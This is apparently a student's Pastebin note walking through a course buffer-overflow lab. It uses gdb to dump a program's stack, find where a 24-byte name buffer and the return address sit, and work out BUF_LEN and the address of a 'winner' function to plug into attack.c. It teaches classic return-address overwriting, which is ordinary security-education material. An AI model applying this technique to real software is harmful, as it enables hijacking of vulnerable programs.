games2007

Stack Smasher

Dec 6th, 2015
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.02 KB | None | 0 0
  1. Disassembly:
  2. run 'gdb LameCode' in terminal
  3. disas main -> copy to assembly.txt
  4. disas beSuperficiallyFriendly -> copy to assembly.txt after the main assembly
  5.  
  6. Stack:
  7. run 'gdb LameCode' in terminal
  8. br beSuperficiallyFriendly
  9. run
  10. it should break, the type 'ni' until it asks you for your name. Type in 'aaaaaaaaaaaaaaaaaaaaaaaa' (23 a's) and press enter
  11. now type 'x /16x $esp' this should show you the stack for beSuperficiallyFriendly, the addresses start at some 0xffff address, and right in the middle there should be a bunch of '0x61616161'. Those are where name is stored in your program.
  12.  
  13. example output of 'x /16x $esp':
  14. 0xffff9990: 0xffffd990 0x08061cf0 0x08061cd0 0x08087cd0
  15. 0xffff99a0: 0x00000000 0x080e68c0 0x61616161 0x61616161 <-- name[24] starts at the first 61...
  16. 0xffff99b0: 0x61616161 0x61616161 0x61616161 0x00616161
  17. 0xffff99c0: 0xffffa800 0xffffdfac 0xffffd9f8 0x08068f80 <-- this is the return address
  18.  
  19. make a file called stack.txt and format it like below, but fill in the actual values from 'x /16x $esp', and you should probably fill in the ...s, though if you're stretched for time, I imagine fiore would understand, because there's no comments for those variables.
  20. 0xffff9990 0xffffd990 $esp
  21. 0xffff9994 0x08061cf0
  22. 0xffff9998 0x08061cd0
  23. ...
  24. 0xffff99a8 0x61616161 start of name[24]
  25. ....
  26. 0xffff99bc 0x00616161 end of name[24]
  27. ...
  28. 0xffff99c4 0xffffdfac $ebp
  29. 0xffff99c8 0xffffd9f8 old $ebp
  30. 0xffff99cc 0x08068f80 return address
  31.  
  32. That return address is what you want to overwrite with the address of winner.
  33. You can find the address of winner by looking at your disassembly of main. There's a line that looks like
  34. 0xSOME RANDY ADDRESS <+52>: call 0xADDRESS <winner>
  35.  
  36. !!!! 0xADDRESS is the number you want to copy to attack.c (0xADDRESS is something like 0x08048730)
  37. !!!! and 0xffff99d0 - 0xffff99a8 = 40 is the number you want for BUF_LEN
  38. #define BUF_LEN 40 /* INSERT BUFFER LENGTH HERE */
  39. #define WINNER_ADDR 0xADDRESS /* INSERT ADDRESS OF THE WINNER FUNCTION HERE */
Advertisement
Add Comment
Please, Sign In to add comment